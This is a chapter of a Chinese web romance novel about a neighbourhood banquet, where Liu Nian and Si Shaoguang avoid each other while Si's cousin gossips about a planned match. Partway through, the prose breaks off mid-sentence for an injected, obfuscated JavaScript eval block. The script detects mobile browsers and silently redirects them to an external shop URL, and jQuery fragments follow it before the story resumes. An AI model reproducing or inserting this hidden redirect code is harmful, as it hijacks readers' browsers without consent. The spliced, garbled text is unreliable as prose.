54.团建
作品:《春光醉软》 Chapter 54.
刘爷走了两步,回过神来感觉身后凉飕飕的没人挡风了。
他回过头来,看见刘念在原地发愣,“走啊,看什么呢?”
“来了。”刘念低头,匆匆跟在刘爷身后,余光流转间看见了司韶光的背影。
他仍然和他那位叫席泽安的表弟走在一起,席泽安看起来与他很熟络,勾着他的肩膀有说有笑。
司韶光双手插在兜里,刘念看不到他脸上是不是也像席泽安一样,神采飞扬,只能看到两个高挺又穿着考究的人站在一起,和周围人格格不入,越走越远。
“我看看坐哪桌。”刘爷在他身旁嘀咕,“老张跑哪儿去了。”
刘念默默收回目光,伸手帮刘爷指,“师父,张爷在那儿呢。”
“噢。”刘爷也瞧见了,抬脚往那边走,刘念微微低着头跟在他身后,时不时遇见街坊打个招呼。
印家巷往来都是熟人,入席没什么讲究,但还是时常一块扎堆的人习惯搭一桌。刘念怕和别人对上目光,又要打招呼,低着头偷偷看了一眼。
那桌熟脸不少,肉铺的张妈,街道办里的几个老同事和苗大爷,赵婶也在那桌坐着。
张爷身边空着位子,显然是给刘爷留的。
刘爷过去,也没客气,一屁股坐下了。
刘念在旁边弯腰小声,“师父,挤一挤,添把凳子。”
刘爷回过神,“你咋还在这儿呢?”
刘念一愣,“我...吃饭啊?”
赵婶笑了,“我们这桌都是老年人,小孩都不乐意挨我们,你跟我们坐有什么意思,去和年轻人坐一桌啊。”
刘爷也点点头,“你不刚才还和大少打招呼来着,过去找他们坐呗。”
刘念抿抿唇,想到刚才司韶光转身而去的背影,没说话。
张爷二话没说,抬头吆喝,“大少!”
走远的身影回过头来,刘念能感觉到那道视线在自己脸上停留了一刹那,随后立刻挪开落在张爷身上,“啊?”
张爷刚想下巴往刘念这儿抬,忽然感觉自己衣角被抓住了,刘念在背后乞求似地小声开口,“张爷...”
张爷看了刘念一眼,回头继续和司韶光开口,“打扮得挺板正!”
司韶光在远处点点头,“您也不赖!”
说完,转身继续和席泽安走了。
张爷和刘爷关系好,什么事都知道,转头问刘念,“怎么了?都来这么久了,还躲着大少呢?”
“没有啊。”刘念匆忙找了个借口,“他是主家,要坐头席,我坐那边不合适。”
他没躲司韶光,是司韶光在躲他,刘念心里想。
张爷懒得琢磨那么多,“那你坐我们隔壁这桌吧,老苗家的小苗在那儿坐着呢。”
刘念点点头,旁边苗苗早就看见他了,直挥手,“小刘哥哥,这边!”
刘念笑了笑,跟着在苗苗身边坐下了。
苗苗这桌几乎全是小孩,小大人一样煞有介事地给他挨个介绍,刘念听着脸上直笑,心情好了很多。
桌上还有几个席位空着,刘念正和苗苗说着话,身旁突然有一声很温柔的女音,“您好,这儿还有位置吗?”
刘念回头,看见一位穿着杏色长裙的年轻姑娘,面容娴静柔和,五官极其漂亮,但很眼生,不记得在巷子里见过。
他赶紧点头,站起来为她拉椅子,“有位置的,请坐。”
姑娘坐下时,胸口一枚胸针和衣裳上的钉珠一起闪闪发光,配着柔美的眉眼与长发,好一位漂亮的仙女儿。
刘念心里想,这打扮不像是巷子里的人,倒像是哪家大户人家的小姐。
姑娘向他笑了笑,端庄地自我介绍,“你好,我叫苏韵,家里父母和司叔叔一家是旧识,趁节日过来一起聚一聚。”
说完,她转身低声,“岚岚,问个好。”
刘念这才看见苏韵身后紧紧跟着一个比苗苗大不了太多的小丫头,脑袋冒了出来,“哥哥你好,我是苏岚。”
刘念笑着和两姐妹问好,犹豫了一下后开口,“司叔叔他们应该在楼上包间里坐着呢。”
苏韵明白他的意思,笑着摇摇头,“他们长辈坐在一起无非也就是喝酒谈生意,没什么意思,我特意溜出来的。”
刘念点点头,也笑着攀谈了两句,但没说太多,他不想让别人觉得他好打听。
司韶光和席泽安一起走到了另一边,他这表弟话太多,揽着他一路上巴拉了一堆,他敷衍地应着,没听进去太多,左耳朵进右耳朵出。
“哎,韶光,你听我说话没呢?”席泽安伸手在他面前打了个响指。
司韶光终于抽出了手,把人推开,“听着呢,你谈对象了,然后呢?”
席泽安一脸少男怀春的表情,从钱夹里摸出一张半身照,“我对象贼漂亮了,给你瞧瞧,明年就订婚了。”
“嗯,漂亮漂亮。”司韶光点头。
席泽安不满地叫了起来,“你压根就没看!”
司韶光烦得要死,低头接过照片,一张彩照,两个鼻子一个眼,两条腿的人都长这样,有什么好仔细看的。
“看了,挺好看。”他扫了一眼,转手还给席泽安。
席泽安正伸手要接,嘴里的话突然停了,抬头眯着眼睛看着他阴阴笑了一下,“我说你怎么心不在焉的。”
“我又怎么了?”司韶光翻白眼。
席泽安下巴朝他手腕点了点,一脸偷笑,“哪儿来的小皮筋啊?”
司韶光一愣,垂眼一看,自己手腕上可不是带着根皮筋么,黑色的,格格不入地代替了他平常戴腕表的位置。
他太阳穴跳了起来。
昨天给灾舅子洗头扯下来的皮筋,当时没空放,随手戴手腕上了,之后忘了摘下来。
他居然就这么一直戴到了现在!连早上洗漱换衣都没发现有什么不对!
席泽安跟个唐僧一样,念叨起来没完,立刻八卦开了,“我说你怎么回事呢,搞了半天,是心里想着别人呢?”
“一根皮筋而已,你怎么这么能琢磨啊?”司韶光烦不胜烦,扯了下来,塞进兜里,“少琢磨我。”
“哎,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955054|190785||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不过我可跟你说啊,你要是心里有人了,趁早跟舅妈吱一声。今天苏家那位老太爷也来了,你妈跟你说没有?”
“有什么说的?”司韶光漫不经心道,“他俩一年三百六十五天要应酬的多了去了,难不成个个都要跟我说?”
“不是这么回事。”席泽安咂咂舌,手又揽上去了,悄么声开口,“我听我爸说,苏家也准备慢慢往这边置业了,前儿咱们几家长辈才聚过,今天又来,还把他家孙女儿也带来了,你看不出是什么意思?”
司韶光余光瞥见远处的小孩桌,看见刘念在那边已经坐下了,面上不像平常那么拘谨,有说有笑地和身边人说话。
“什么意思啊?”他随口一句,注意力全落在那边了。
真行啊,去他家的时候装的拘谨守礼,一副死出,乖的像个孙子。现在旁边不过是坐了个姑娘,生疏气儿也没了,拘谨劲儿也看不着了,脸上都快笑出花了。
“看上你了呗。”席泽安在旁边说,“我妈说,苏家老太爷想给你和他那位大一点的孙女搭个线。”
“搭什么线啊。”司韶光回神,“神经病。”
“你有什么不乐意的。”席泽安也翻白眼,“以前咱们还住在一片儿的时候,那姑娘还过来玩过,你忘了?长得可漂亮了,他们那儿的一枝花。”
司韶光没什么记忆了,那都多久的事儿了,只记得是有这么个姑娘,说话轻声细语的,手里抱一个牙都没长齐的小丫头,那个小丫头倒是看着更活泼。
“怎么都爱琢磨这些事啊,闲的。”司韶光有点烦了。
“你这也不怪别人琢磨啊,你从外面回来有一年了吧,也到岁数了,一直身边没个信儿,别人能不琢磨?”席泽安撇嘴,“你要真不想琢磨,就学我,自己找一个喜欢的,早点跟家里说了,自然就没这事了呗。”
“说了啊。”说起这个,司韶光更烦了。他碰见佳人之后,老早就在家里说过有心仪的人了,李婵娟和司辉师压根就没当一回事,当他随口胡扯。
席泽安一下子站住了,伸手扯他一下,“真假的,那你刚才还不承认?什么样的人啊,有照片没?”
“有也不给你看,回头你就能吆喝得全世界都知道。”司韶光冷笑了一下。
席泽安下巴都要掉下来了。
他就那么一说,也没想过真会有。司韶光从小到大有多挑剔,事儿又多,在亲戚里是出了名的。这样的人居然看上了什么人,而且没否认,真是铁树开了花,见了天了。
“什么样人啊,你快说说。”席泽安催促。
司韶光被追问得快烦死了,索性承认了,“长头发,顶漂亮,又高又瘦,做戏曲方面工作的。”
他说完,发觉席泽安没声了,转头一看,席泽安站在原地张望,“你们巷子里的?”
“嗯。”司韶光随口应了一句。
席泽安一下子没声了,脸都绿了,眼神凝重地转了过来,悄悄往远处指了指,“刚才那位?”
司韶光顺着望过去。
灾舅子坐在那儿,不知道听见了什么有意思的事,托着脸直抿笑。

